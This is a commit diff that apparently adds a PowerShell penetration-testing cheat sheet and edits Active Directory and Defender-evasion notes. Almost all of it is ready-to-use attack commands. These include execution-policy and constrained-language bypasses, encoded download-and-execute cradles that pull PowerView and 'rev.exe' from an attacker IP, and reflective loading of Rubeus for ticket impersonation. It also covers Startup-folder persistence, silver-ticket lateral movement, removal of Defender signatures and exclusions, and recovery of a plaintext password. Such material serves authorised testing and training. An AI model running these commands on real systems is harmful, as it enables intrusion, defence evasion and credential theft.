Powershell Cheatsheet

This commit is contained in:
Swissky 2021-11-06 19:14:47 +01:00
parent 6ff9a71237
commit 7d9dd6806e
3 changed files with 113 additions and 2 deletions

View file

@ -1448,7 +1448,7 @@ Interesting services to target with a silver ticket :
| Service Type | Service Silver Tickets | Attack |
|---------------------------------------------|------------------------|--------|
| WMI | HOST + RPCSS | `wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"` |
| PowerShell Remoting | HTTP + wsman | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
| PowerShell Remoting | CIFS + HTTP + (wsman?) | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
| WinRM | HTTP + wsman | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
| Scheduled Tasks | HOST | `schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"` |
| Windows File Share (CIFS) | CIFS | `dir \\dc01\c$` |

View file

@ -0,0 +1,110 @@
# Powershell
## Summary
* Execution Policy
* Encoded Commands
* Download file
* Load Powershell scripts
* Load C# assembly reflectively
* Secure String to Plaintext
* References
## Execution Policy
```ps1
powershell -EncodedCommand $encodedCommand
powershell -ep bypass ./PowerView.ps1
# Change execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
Set-ExecutionPolicy Bypass -Scope Process
```
## Constrained Mode
```ps1
# Check if we are in a constrained mode
# Values could be: FullLanguage or ConstrainedLanguage
$ExecutionContext.SessionState.LanguageMode
## Bypass
powershell -version 2
```
## Encoded Commands
* Windows
```ps1
$command = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
```
* Linux: :warning: UTF-16LE encoding is required
```ps1
echo 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' | iconv -t utf-16le | base64 -w 0
```
## Download file
```ps1
# Any version
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerView.ps1", "C:\Windows\Temp\PowerView.ps1")
wget "http://10.10.10.10/taskkill.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer; Start-BitsTransfer -Source $url -Destination $output
# Powershell 4+
IWR "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
```
## Load Powershell scripts
```ps1
# Proxy-aware
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1')
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') | powershell -noprofile -
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.10.10/PowerView.ps1')|iex"
# Non-proxy aware
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.10.10/PowerView.ps1',$false);$h.send();iex $h.responseText
```
## Load C# assembly reflectively
```powershell
# Download and run assembly without arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main()
# Download and run Rubeus, with arguments (make sure to split the args)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
# Execute a specific method from an assembly (e.g. a DLL)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
```
## Secure String to Plaintext
```ps1
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
```
## References
* [Windows & Active Directory Exploitation Cheat Sheet and Command Reference - @chvancooten](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/)
* [Basic PowerShell for Pentesters - HackTricks](https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters)

View file

@ -274,7 +274,8 @@ PS C:\> Add-MpPreference -ExclusionPath "C:\Windows\Tasks"
PS C:\> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
# remove signatures (if Internet connection is present, they will be downloaded again):
PS > "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```
### Firewall